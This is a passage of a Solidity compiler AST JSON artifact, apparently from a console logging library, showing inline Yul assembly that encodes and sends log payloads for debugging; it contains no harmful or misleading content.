72:3:22"},"nativeSrc":"299872:25:22","nodeType":"YulFunctionCall","src":"299872:25:22"}],"functionName":{"name":"mstore","nativeSrc":"299849:6:22","nodeType":"YulIdentifier","src":"299849:6:22"},"nativeSrc":"299849:49:22","nodeType":"YulFunctionCall","src":"299849:49:22"},"nativeSrc":"299849:49:22","nodeType":"YulExpressionStatement","src":"299849:49:22"}]},"name":"writeString","nativeSrc":"299570:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"299591:3:22","nodeType":"YulTypedName","src":"299591:3:22","type":""},{"name":"w","nativeSrc":"299596:1:22","nodeType":"YulTypedName","src":"299596:1:22","type":""}],"src":"299570:342:22"},{"nativeSrc":"299925:17:22","nodeType":"YulAssignment","src":"299925:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"299937:4:22","nodeType":"YulLiteral","src":"299937:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"299931:5:22","nodeType":"YulIdentifier","src":"299931:5:22"},"nativeSrc":"299931:11:22","nodeType":"YulFunctionCall","src":"299931:11:22"},"variableNames":[{"name":"m0","nativeSrc":"299925:2:22","nodeType":"YulIdentifier","src":"299925:2:22"}]},{"nativeSrc":"299955:17:22","nodeType":"YulAssignment","src":"299955:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"299967:4:22","nodeType":"YulLiteral","src":"299967:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"299961:5:22","nodeType":"YulIdentifier","src":"299961:5:22"},"nativeSrc":"299961:11:22","nodeType":"YulFunctionCall","src":"299961:11:22"},"variableNames":[{"name":"m1","nativeSrc":"299955:2:22","nodeType":"YulIdentifier","src":"299955:2:22"}]},{"nativeSrc":"299985:17:22","nodeType":"YulAssignment","src":"299985:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"299997:4:22","nodeType":"YulLiteral","src":"299997:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"299991:5:22","nodeType":"YulIdentifier","src":"299991:5:22"},"nativeSrc":"299991:11:22","nodeType":"YulFunctionCall","src":"299991:11:22"},"variableNames":[{"name":"m2","nativeSrc":"299985:2:22","nodeType":"YulIdentifier","src":"299985:2:22"}]},{"nativeSrc":"300015:17:22","nodeType":"YulAssignment","src":"300015:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"300027:4:22","nodeType":"YulLiteral","src":"300027:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"300021:5:22","nodeType":"YulIdentifier","src":"300021:5:22"},"nativeSrc":"300021:11:22","nodeType":"YulFunctionCall","src":"300021:11:22"},"variableNames":[{"name":"m3","nativeSrc":"300015:2:22","nodeType":"YulIdentifier","src":"300015:2:22"}]},{"nativeSrc":"300045:17:22","nodeType":"YulAssignment","src":"300045:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"300057:4:22","nodeType":"YulLiteral","src":"300057:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"300051:5:22","nodeType":"YulIdentifier","src":"300051:5:22"},"nativeSrc":"300051:11:22","nodeType":"YulFunctionCall","src":"300051:11:22"},"variableNames":[{"name":"m4","nativeSrc":"300045:2:22","nodeType":"YulIdentifier","src":"300045:2:22"}]},{"nativeSrc":"300075:17:22","nodeType":"YulAssignment","src":"300075:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"300087:4:22","nodeType":"YulLiteral","src":"300087:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"300081:5:22","nodeType":"YulIdentifier","src":"300081:5:22"},"nativeSrc":"300081:11:22","nodeType":"YulFunctionCall","src":"300081:11:22"},"variableNames":[{"name":"m5","nativeSrc":"300075:2:22","nodeType":"YulIdentifier","src":"300075:2:22"}]},{"nativeSrc":"300105:17:22","nodeType":"YulAssignment","src":"300105:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"300117:4:22","nodeType":"YulLiteral","src":"300117:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"300111:5:22","nodeType":"YulIdentifier","src":"300111:5:22"},"nativeSrc":"300111:11:22","nodeType":"YulFunctionCall","src":"300111:11:22"},"variableNames":[{"name":"m6","nativeSrc":"300105:2:22","nodeType":"YulIdentifier","src":"300105:2:22"}]},{"nativeSrc":"300135:17:22","nodeType":"YulAssignment","src":"300135:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"300147:4:22","nodeType":"YulLiteral","src":"300147:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"300141:5:22","nodeType":"YulIdentifier","src":"300141:5:22"},"nativeSrc":"300141:11:22","nodeType":"YulFunctionCall","src":"300141:11:22"},"variableNames":[{"name":"m7","nativeSrc":"300135:2:22","nodeType":"YulIdentifier","src":"300135:2:22"}]},{"nativeSrc":"300165:18:22","nodeType":"YulAssignment","src":"300165:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"300177:5:22","nodeType":"YulLiteral","src":"300177:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"300171:5:22","nodeType":"YulIdentifier","src":"300171:5:22"},"nativeSrc":"300171:12:22","nodeType":"YulFunctionCall","src":"300171:12:22"},"variableNames":[{"name":"m8","nativeSrc":"300165:2:22","nodeType":"YulIdentifier","src":"300165:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300268:4:22","nodeType":"YulLiteral","src":"300268:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"300274:10:22","nodeType":"YulLiteral","src":"300274:10:22","type":"","value":"0xb028c9bd"}],"functionName":{"name":"mstore","nativeSrc":"300261:6:22","nodeType":"YulIdentifier","src":"300261:6:22"},"nativeSrc":"300261:24:22","nodeType":"YulFunctionCall","src":"300261:24:22"},"nativeSrc":"300261:24:22","nodeType":"YulExpressionStatement","src":"300261:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300305:4:22","nodeType":"YulLiteral","src":"300305:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"300311:2:22","nodeType":"YulIdentifier","src":"300311:2:22"}],"functionName":{"name":"mstore","nativeSrc":"300298:6:22","nodeType":"YulIdentifier","src":"300298:6:22"},"nativeSrc":"300298:16:22","nodeType":"YulFunctionCall","src":"300298:16:22"},"nativeSrc":"300298:16:22","nodeType":"YulExpressionStatement","src":"300298:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300334:4:22","nodeType":"YulLiteral","src":"300334:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"300340:4:22","nodeType":"YulLiteral","src":"300340:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"300327:6:22","nodeType":"YulIdentifier","src":"300327:6:22"},"nativeSrc":"300327:18:22","nodeType":"YulFunctionCall","src":"300327:18:22"},"nativeSrc":"300327:18:22","nodeType":"YulExpressionStatement","src":"300327:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300365:4:22","nodeType":"YulLiteral","src":"300365:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"300371:4:22","nodeType":"YulLiteral","src":"300371:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"300358:6:22","nodeType":"YulIdentifier","src":"300358:6:22"},"nativeSrc":"300358:18:22","nodeType":"YulFunctionCall","src":"300358:18:22"},"nativeSrc":"300358:18:22","nodeType":"YulExpressionStatement","src":"300358:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300396:4:22","nodeType":"YulLiteral","src":"300396:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"300402:2:22","nodeType":"YulIdentifier","src":"300402:2:22"}],"functionName":{"name":"mstore","nativeSrc":"300389:6:22","nodeType":"YulIdentifier","src":"300389:6:22"},"nativeSrc":"300389:16:22","nodeType":"YulFunctionCall","src":"300389:16:22"},"nativeSrc":"300389:16:22","nodeType":"YulExpressionStatement","src":"300389:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300430:4:22","nodeType":"YulLiteral","src":"300430:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"300436:2:22","nodeType":"YulIdentifier","src":"300436:2:22"}],"functionName":{"name":"writeString","nativeSrc":"300418:11:22","nodeType":"YulIdentifier","src":"300418:11:22"},"nativeSrc":"300418:21:22","nodeType":"YulFunctionCall","src":"300418:21:22"},"nativeSrc":"300418:21:22","nodeType":"YulExpressionStatement","src":"300418:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300464:4:22","nodeType":"YulLiteral","src":"300464:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"300470:2:22","nodeType":"YulIdentifier","src":"300470:2:22"}],"functionName":{"name":"writeString","nativeSrc":"300452:11:22","nodeType":"YulIdentifier","src":"300452:11:22"},"nativeSrc":"300452:21:22","nodeType":"YulFunctionCall","src":"300452:21:22"},"nativeSrc":"300452:21:22","nodeType":"YulExpressionStatement","src":"300452:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43652,"isOffset":false,"isSlot":false,"src":"299925:2:22","valueSize":1},{"declaration":43655,"isOffset":false,"isSlot":false,"src":"299955:2:22","valueSize":1},{"declaration":43658,"isOffset":false,"isSlot":false,"src":"299985:2:22","valueSize":1},{"declaration":43661,"isOffset":false,"isSlot":false,"src":"300015:2:22","valueSize":1},{"declaration":43664,"isOffset":false,"isSlot":false,"src":"300045:2:22","valueSize":1},{"declaration":43667,"isOffset":false,"isSlot":false,"src":"300075:2:22","valueSize":1},{"declaration":43670,"isOffset":false,"isSlot":false,"src":"300105:2:22","valueSize":1},{"declaration":43673,"isOffset":false,"isSlot":false,"src":"300135:2:22","valueSize":1},{"declaration":43676,"isOffset":false,"isSlot":false,"src":"300165:2:22","valueSize":1},{"declaration":43642,"isOffset":false,"isSlot":false,"src":"300311:2:22","valueSize":1},{"declaration":43644,"isOffset":false,"isSlot":false,"src":"300436:2:22","valueSize":1},{"declaration":43646,"isOffset":false,"isSlot":false,"src":"300470:2:22","valueSize":1},{"declaration":43648,"isOffset":false,"isSlot":false,"src":"300402:2:22","valueSize":1}],"id":43678,"nodeType":"InlineAssembly","src":"299547:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43680,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"300508:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":43681,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"300514:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":43679,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"300492:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43682,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"300492:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43683,"nodeType":"ExpressionStatement","src":"300492:28:22"},{"AST":{"nativeSrc":"300539:273:22","nodeType":"YulBlock","src":"300539:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"300560:4:22","nodeType":"YulLiteral","src":"300560:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"300566:2:22","nodeType":"YulIdentifier","src":"300566:2:22"}],"functionName":{"name":"mstore","nativeSrc":"300553:6:22","nodeType":"YulIdentifier","src":"300553:6:22"},"nativeSrc":"300553:16:22","nodeType":"YulFunctionCall","src":"300553:16:22"},"nativeSrc":"300553:16:22","nodeType":"YulExpressionStatement","src":"300553:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300589:4:22","nodeType":"YulLiteral","src":"300589:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"300595:2:22","nodeType":"YulIdentifier","src":"300595:2:22"}],"functionName":{"name":"mstore","nativeSrc":"300582:6:22","nodeType":"YulIdentifier","src":"300582:6:22"},"nativeSrc":"300582:16:22","nodeType":"YulFunctionCall","src":"300582:16:22"},"nativeSrc":"300582:16:22","nodeType":"YulExpressionStatement","src":"300582:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300618:4:22","nodeType":"YulLiteral","src":"300618:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"300624:2:22","nodeType":"YulIdentifier","src":"300624:2:22"}],"functionName":{"name":"mstore","nativeSrc":"300611:6:22","nodeType":"YulIdentifier","src":"300611:6:22"},"nativeSrc":"300611:16:22","nodeType":"YulFunctionCall","src":"300611:16:22"},"nativeSrc":"300611:16:22","nodeType":"YulExpressionStatement","src":"300611:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300647:4:22","nodeType":"YulLiteral","src":"300647:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"300653:2:22","nodeType":"YulIdentifier","src":"300653:2:22"}],"functionName":{"name":"mstore","nativeSrc":"300640:6:22","nodeType":"YulIdentifier","src":"300640:6:22"},"nativeSrc":"300640:16:22","nodeType":"YulFunctionCall","src":"300640:16:22"},"nativeSrc":"300640:16:22","nodeType":"YulExpressionStatement","src":"300640:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300676:4:22","nodeType":"YulLiteral","src":"300676:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"300682:2:22","nodeType":"YulIdentifier","src":"300682:2:22"}],"functionName":{"name":"mstore","nativeSrc":"300669:6:22","nodeType":"YulIdentifier","src":"300669:6:22"},"nativeSrc":"300669:16:22","nodeType":"YulFunctionCall","src":"300669:16:22"},"nativeSrc":"300669:16:22","nodeType":"YulExpressionStatement","src":"300669:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300705:4:22","nodeType":"YulLiteral","src":"300705:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"300711:2:22","nodeType":"YulIdentifier","src":"300711:2:22"}],"functionName":{"name":"mstore","nativeSrc":"300698:6:22","nodeType":"YulIdentifier","src":"300698:6:22"},"nativeSrc":"300698:16:22","nodeType":"YulFunctionCall","src":"300698:16:22"},"nativeSrc":"300698:16:22","nodeType":"YulExpressionStatement","src":"300698:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300734:4:22","nodeType":"YulLiteral","src":"300734:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"300740:2:22","nodeType":"YulIdentifier","src":"300740:2:22"}],"functionName":{"name":"mstore","nativeSrc":"300727:6:22","nodeType":"YulIdentifier","src":"300727:6:22"},"nativeSrc":"300727:16:22","nodeType":"YulFunctionCall","src":"300727:16:22"},"nativeSrc":"300727:16:22","nodeType":"YulExpressionStatement","src":"300727:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300763:4:22","nodeType":"YulLiteral","src":"300763:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"300769:2:22","nodeType":"YulIdentifier","src":"300769:2:22"}],"functionName":{"name":"mstore","nativeSrc":"300756:6:22","nodeType":"YulIdentifier","src":"300756:6:22"},"nativeSrc":"300756:16:22","nodeType":"YulFunctionCall","src":"300756:16:22"},"nativeSrc":"300756:16:22","nodeType":"YulExpressionStatement","src":"300756:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"300792:5:22","nodeType":"YulLiteral","src":"300792:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"300799:2:22","nodeType":"YulIdentifier","src":"300799:2:22"}],"functionName":{"name":"mstore","nativeSrc":"300785:6:22","nodeType":"YulIdentifier","src":"300785:6:22"},"nativeSrc":"300785:17:22","nodeType":"YulFunctionCall","src":"300785:17:22"},"nativeSrc":"300785:17:22","nodeType":"YulExpressionStatement","src":"300785:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43652,"isOffset":false,"isSlot":false,"src":"300566:2:22","valueSize":1},{"declaration":43655,"isOffset":false,"isSlot":false,"src":"300595:2:22","valueSize":1},{"declaration":43658,"isOffset":false,"isSlot":false,"src":"300624:2:22","valueSize":1},{"declaration":43661,"isOffset":false,"isSlot":false,"src":"300653:2:22","valueSize":1},{"declaration":43664,"isOffset":false,"isSlot":false,"src":"300682:2:22","valueSize":1},{"declaration":43667,"isOffset":false,"isSlot":false,"src":"300711:2:22","valueSize":1},{"declaration":43670,"isOffset":false,"isSlot":false,"src":"300740:2:22","valueSize":1},{"declaration":43673,"isOffset":false,"isSlot":false,"src":"300769:2:22","valueSize":1},{"declaration":43676,"isOffset":false,"isSlot":false,"src":"300799:2:22","valueSize":1}],"id":43684,"nodeType":"InlineAssembly","src":"300530:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"299291:3:22","parameters":{"id":43649,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43642,"mutability":"mutable","name":"p0","nameLocation":"299303:2:22","nodeType":"VariableDeclaration","scope":43686,"src":"299295:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43641,"name":"uint256","nodeType":"ElementaryTypeName","src":"299295:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43644,"mutability":"mutable","name":"p1","nameLocation":"299315:2:22","nodeType":"VariableDeclaration","scope":43686,"src":"299307:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43643,"name":"bytes32","nodeType":"ElementaryTypeName","src":"299307:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43646,"mutability":"mutable","name":"p2","nameLocation":"299327:2:22","nodeType":"VariableDeclaration","scope":43686,"src":"299319:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43645,"name":"bytes32","nodeType":"ElementaryTypeName","src":"299319:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43648,"mutability":"mutable","name":"p3","nameLocation":"299339:2:22","nodeType":"VariableDeclaration","scope":43686,"src":"299331:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43647,"name":"uint256","nodeType":"ElementaryTypeName","src":"299331:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"299294:48:22"},"returnParameters":{"id":43650,"nodeType":"ParameterList","parameters":[],"src":"299357:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43738,"nodeType":"FunctionDefinition","src":"300824:1738:22","nodes":[],"body":{"id":43737,"nodeType":"Block","src":"300899:1663:22","nodes":[],"statements":[{"assignments":[43698],"declarations":[{"constant":false,"id":43698,"mutability":"mutable","name":"m0","nameLocation":"300917:2:22","nodeType":"VariableDeclaration","scope":43737,"src":"300909:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43697,"name":"bytes32","nodeType":"ElementaryTypeName","src":"300909:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43699,"nodeType":"VariableDeclarationStatement","src":"300909:10:22"},{"assignments":[43701],"declarations":[{"constant":false,"id":43701,"mutability":"mutable","name":"m1","nameLocation":"300937:2:22","nodeType":"VariableDeclaration","scope":43737,"src":"300929:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43700,"name":"bytes32","nodeType":"ElementaryTypeName","src":"300929:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43702,"nodeType":"VariableDeclarationStatement","src":"300929:10:22"},{"assignments":[43704],"declarations":[{"constant":false,"id":43704,"mutability":"mutable","name":"m2","nameLocation":"300957:2:22","nodeType":"VariableDeclaration","scope":43737,"src":"300949:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43703,"name":"bytes32","nodeType":"ElementaryTypeName","src":"300949:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43705,"nodeType":"VariableDeclarationStatement","src":"300949:10:22"},{"assignments":[43707],"declarations":[{"constant":false,"id":43707,"mutability":"mutable","name":"m3","nameLocation":"300977:2:22","nodeType":"VariableDeclaration","scope":43737,"src":"300969:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43706,"name":"bytes32","nodeType":"ElementaryTypeName","src":"300969:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43708,"nodeType":"VariableDeclarationStatement","src":"300969:10:22"},{"assignments":[43710],"declarations":[{"constant":false,"id":43710,"mutability":"mutable","name":"m4","nameLocation":"300997:2:22","nodeType":"VariableDeclaration","scope":43737,"src":"300989:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43709,"name":"bytes32","nodeType":"ElementaryTypeName","src":"300989:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43711,"nodeType":"VariableDeclarationStatement","src":"300989:10:22"},{"assignments":[43713],"declarations":[{"constant":false,"id":43713,"mutability":"mutable","name":"m5","nameLocation":"301017:2:22","nodeType":"VariableDeclaration","scope":43737,"src":"301009:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43712,"name":"bytes32","nodeType":"ElementaryTypeName","src":"301009:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43714,"nodeType":"VariableDeclarationStatement","src":"301009:10:22"},{"assignments":[43716],"declarations":[{"constant":false,"id":43716,"mutability":"mutable","name":"m6","nameLocation":"301037:2:22","nodeType":"VariableDeclaration","scope":43737,"src":"301029:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43715,"name":"bytes32","nodeType":"ElementaryTypeName","src":"301029:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43717,"nodeType":"VariableDeclarationStatement","src":"301029:10:22"},{"assignments":[43719],"declarations":[{"constant":false,"id":43719,"mutability":"mutable","name":"m7","nameLocation":"301057:2:22","nodeType":"VariableDeclaration","scope":43737,"src":"301049:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43718,"name":"bytes32","nodeType":"ElementaryTypeName","src":"301049:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43720,"nodeType":"VariableDeclarationStatement","src":"301049:10:22"},{"assignments":[43722],"declarations":[{"constant":false,"id":43722,"mutability":"mutable","name":"m8","nameLocation":"301077:2:22","nodeType":"VariableDeclaration","scope":43737,"src":"301069:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43721,"name":"bytes32","nodeType":"ElementaryTypeName","src":"301069:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43723,"nodeType":"VariableDeclarationStatement","src":"301069:10:22"},{"assignments":[43725],"declarations":[{"constant":false,"id":43725,"mutability":"mutable","name":"m9","nameLocation":"301097:2:22","nodeType":"VariableDeclaration","scope":43737,"src":"301089:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43724,"name":"bytes32","nodeType":"ElementaryTypeName","src":"301089:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43726,"nodeType":"VariableDeclarationStatement","src":"301089:10:22"},{"assignments":[43728],"declarations":[{"constant":false,"id":43728,"mutability":"mutable","name":"m10","nameLocation":"301117:3:22","nodeType":"VariableDeclaration","scope":43737,"src":"301109:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43727,"name":"bytes32","nodeType":"ElementaryTypeName","src":"301109:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43729,"nodeType":"VariableDeclarationStatement","src":"301109:11:22"},{"AST":{"nativeSrc":"301139:1027:22","nodeType":"YulBlock","src":"301139:1027:22","statements":[{"body":{"nativeSrc":"301182:313:22","nodeType":"YulBlock","src":"301182:313:22","statements":[{"nativeSrc":"301200:15:22","nodeType":"YulVariableDeclaration","src":"301200:15:22","value":{"kind":"number","nativeSrc":"301214:1:22","nodeType":"YulLiteral","src":"301214:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"301204:6:22","nodeType":"YulTypedName","src":"301204:6:22","type":""}]},{"body":{"nativeSrc":"301285:40:22","nodeType":"YulBlock","src":"301285:40:22","statements":[{"body":{"nativeSrc":"301314:9:22","nodeType":"YulBlock","src":"301314:9:22","statements":[{"nativeSrc":"301316:5:22","nodeType":"YulBreak","src":"301316:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"301302:6:22","nodeType":"YulIdentifier","src":"301302:6:22"},{"name":"w","nativeSrc":"301310:1:22","nodeType":"YulIdentifier","src":"301310:1:22"}],"functionName":{"name":"byte","nativeSrc":"301297:4:22","nodeType":"YulIdentifier","src":"301297:4:22"},"nativeSrc":"301297:15:22","nodeType":"YulFunctionCall","src":"301297:15:22"}],"functionName":{"name":"iszero","nativeSrc":"301290:6:22","nodeType":"YulIdentifier","src":"301290:6:22"},"nativeSrc":"301290:23:22","nodeType":"YulFunctionCall","src":"301290:23:22"},"nativeSrc":"301287:36:22","nodeType":"YulIf","src":"301287:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"301242:6:22","nodeType":"YulIdentifier","src":"301242:6:22"},{"kind":"number","nativeSrc":"301250:4:22","nodeType":"YulLiteral","src":"301250:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"301239:2:22","nodeType":"YulIdentifier","src":"301239:2:22"},"nativeSrc":"301239:16:22","nodeType":"YulFunctionCall","src":"301239:16:22"},"nativeSrc":"301232:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"301256:28:22","nodeType":"YulBlock","src":"301256:28:22","statements":[{"nativeSrc":"301258:24:22","nodeType":"YulAssignment","src":"301258:24:22","value":{"arguments":[{"name":"length","nativeSrc":"301272:6:22","nodeType":"YulIdentifier","src":"301272:6:22"},{"kind":"number","nativeSrc":"301280:1:22","nodeType":"YulLiteral","src":"301280:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"301268:3:22","nodeType":"YulIdentifier","src":"301268:3:22"},"nativeSrc":"301268:14:22","nodeType":"YulFunctionCall","src":"301268:14:22"},"variableNames":[{"name":"length","nativeSrc":"301258:6:22","nodeType":"YulIdentifier","src":"301258:6:22"}]}]},"pre":{"nativeSrc":"301236:2:22","nodeType":"YulBlock","src":"301236:2:22","statements":[]},"src":"301232:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"301349:3:22","nodeType":"YulIdentifier","src":"301349:3:22"},{"name":"length","nativeSrc":"301354:6:22","nodeType":"YulIdentifier","src":"301354:6:22"}],"functionName":{"name":"mstore","nativeSrc":"301342:6:22","nodeType":"YulIdentifier","src":"301342:6:22"},"nativeSrc":"301342:19:22","nodeType":"YulFunctionCall","src":"301342:19:22"},"nativeSrc":"301342:19:22","nodeType":"YulExpressionStatement","src":"301342:19:22"},{"nativeSrc":"301378:37:22","nodeType":"YulVariableDeclaration","src":"301378:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"301395:3:22","nodeType":"YulLiteral","src":"301395:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"301404:1:22","nodeType":"YulLiteral","src":"301404:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"301407:6:22","nodeType":"YulIdentifier","src":"301407:6:22"}],"functionName":{"name":"shl","nativeSrc":"301400:3:22","nodeType":"YulIdentifier","src":"301400:3:22"},"nativeSrc":"301400:14:22","nodeType":"YulFunctionCall","src":"301400:14:22"}],"functionName":{"name":"sub","nativeSrc":"301391:3:22","nodeType":"YulIdentifier","src":"301391:3:22"},"nativeSrc":"301391:24:22","nodeType":"YulFunctionCall","src":"301391:24:22"},"variables":[{"name":"shift","nativeSrc":"301382:5:22","nodeType":"YulTypedName","src":"301382:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"301443:3:22","nodeType":"YulIdentifier","src":"301443:3:22"},{"kind":"number","nativeSrc